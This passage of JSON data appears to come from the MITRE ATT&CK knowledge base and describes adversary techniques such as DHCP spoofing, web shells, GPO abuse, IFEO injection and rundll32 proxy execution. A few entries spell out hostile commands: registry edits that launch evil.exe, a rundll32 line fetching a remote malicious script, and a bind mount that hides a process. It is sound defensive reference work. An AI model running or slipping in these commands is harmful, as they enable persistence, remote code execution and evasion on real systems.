            "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "external_id": "T1155"
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                {
                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
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            "name": "AppleScript",
            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.",
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            "created": "2020-02-25T18:26:16.994Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563",
                    "external_id": "T1563"
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                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
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                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
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            "name": "Remote Service Session Hijacking",
            "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
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            "created": "2025-01-30T21:01:16.340Z",
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                    "url": "https://attack.mitre.org/techniques/T1564/013",
                    "external_id": "T1564.013"
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                {
                    "source_name": "Ahn Lab CoinMiner 2023",
                    "description": "Ahn Lab. (2023, April 24). CoinMiner (KONO DIO DA) Distributed to Linux SSH Servers. Retrieved April 4, 2025.",
                    "url": "https://asec.ahnlab.com/en/51908/"
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                {
                    "source_name": "Cado Security Commando Cat 2024",
                    "description": "Nate Bill & Matt Muir. (2024, February 1). The Nine Lives of Commando Cat: Analysing a Novel Malware Campaign Targeting Docker. Retrieved April 4, 2025.",
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            "description": "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It\u2019s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access. \n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process\u2019s `/proc` directory. Using the commands `mount \u2013o bind /proc/benign-process /proc/malicious-process` (or `mount \u2013B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory\u2019s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.(Citation: Cado Security Commando Cat 2024)(Citation: Ahn Lab CoinMiner 2023)",
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            "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "created": "2020-02-05T14:04:25.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1027/001",
                    "external_id": "T1027.001"
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                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
                    "url": "https://www.virustotal.com/en/faq/"
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            "name": "Binary Padding",
            "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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            "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "created": "2019-12-13T16:46:18.927Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1505/003",
                    "external_id": "T1505.003"
                },
                {
                    "source_name": "NSA Cyber Mitigating Web Shells",
                    "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.",
                    "url": "https://github.com/nsacyber/Mitigating-Web-Shells"
                },
                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
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                {
                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
                },
                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
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            "name": "Web Shell",
            "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)",
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                    "url": "https://attack.mitre.org/techniques/T1484/001",
                    "external_id": "T1484.001"
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                {
                    "source_name": "Mandiant M Trends 2016",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
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                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
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                    "source_name": "Microsoft Hacking Team Breach",
                    "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.",
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                {
                    "source_name": "Wald0 Guide to GPOs",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                    "url": "https://wald0.com/?p=179"
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                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
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                {
                    "source_name": "Harmj0y SeEnableDelegationPrivilege Right",
                    "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"
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                {
                    "source_name": "TechNet Group Policy Basics",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
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            "modified": "2026-05-12T15:12:00.635Z",
            "name": "Group Policy Modification",
            "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
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                    "source_name": "Linux Logs",
                    "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.",
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                    "source_name": "Chrome Roaming Profiles",
                    "description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.",
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                    "description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.",
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                    "source_name": "AADInternals Azure AD Device Identities",
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                    "url": "https://aadinternals.com/post/deviceidentity/"
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                    "source_name": "Kaspersky Careto",
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                    "source_name": "Microsoft Primary Refresh Token",
                    "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.",
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                    "source_name": "Wikipedia Public Key Crypto",
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            "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.",
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                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
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                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
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                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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                {
                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
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                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
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                    "source_name": "Jacobsen 2014",
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                    "source_name": "MSDN WMI",
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                    "source_name": "Microsoft WinRM",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.",
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                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
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                    "source_name": "Microsoft Local Accounts Feb 2019",
                    "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.",
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                    "source_name": "Metasploit SSH Module",
                    "description": "undefined. (n.d.). Retrieved April 12, 2019.",
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                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
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                {
                    "source_name": "Pentera vCenter Information Disclosure",
                    "description": "Yuval Lazar. (2022, March 29). Mitigating VMware vCenter Information Disclosure. Retrieved March 26, 2025.",
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                "Network Devices",
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            "created": "2020-01-24T15:51:52.317Z",
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                    "url": "https://attack.mitre.org/techniques/T1547/003",
                    "external_id": "T1547.003"
                },
                {
                    "source_name": "Github W32Time Oct 2017",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "url": "https://github.com/scottlundgren/w32time"
                },
                {
                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
                },
                {
                    "source_name": "Microsoft W32Time Feb 2018",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
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                    "url": "https://attack.mitre.org/techniques/T1183",
                    "external_id": "T1183"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Microsoft Silent Process Exit NOV 2017",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
                },
                {
                    "source_name": "Oddvar Moe IFEO APR 2018",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
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            "name": "Image File Execution Options Injection",
            "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1085",
                    "external_id": "T1085"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
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            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
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            "x_mitre_domains": [
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            "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "created": "2017-05-31T21:30:34.928Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1031",
                    "external_id": "T1031"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html",
                    "external_id": "CAPEC-551"
                },
                {
                    "source_name": "Twitter Service Recovery Nov 2017",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "Microsoft Service Recovery Feb 2013",
                    "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "modified": "2025-10-24T17:48:51.635Z",
            "name": "Modify Existing Service",
            "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)",
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            "x_mitre_contributors": [
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                "Matthew Demaske, Adaptforward"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-01-24T14:17:43.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "T1546.005"
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                {
                    "source_name": "Trap Manual",
                    "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.",
                    "url": "https://ss64.com/bash/trap.html"
                },
                {
                    "source_name": "Cyberciti Trap Statements",
                    "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.",
                    "url": "https://bash.cyberciti.biz/guide/Trap_statement"
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            "name": "Trap",
            "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-03-13T20:09:59.569Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1574/006",
                    "external_id": "T1574.006"
                },
                {
                    "source_name": "Apple Doco Archive Dynamic Libraries",
                    "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
                },
                {
                    "source_name": "Baeldung LD_PRELOAD",
                    "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
                    "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
                },
                {
                    "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
                    "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
                    "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
                },
                {
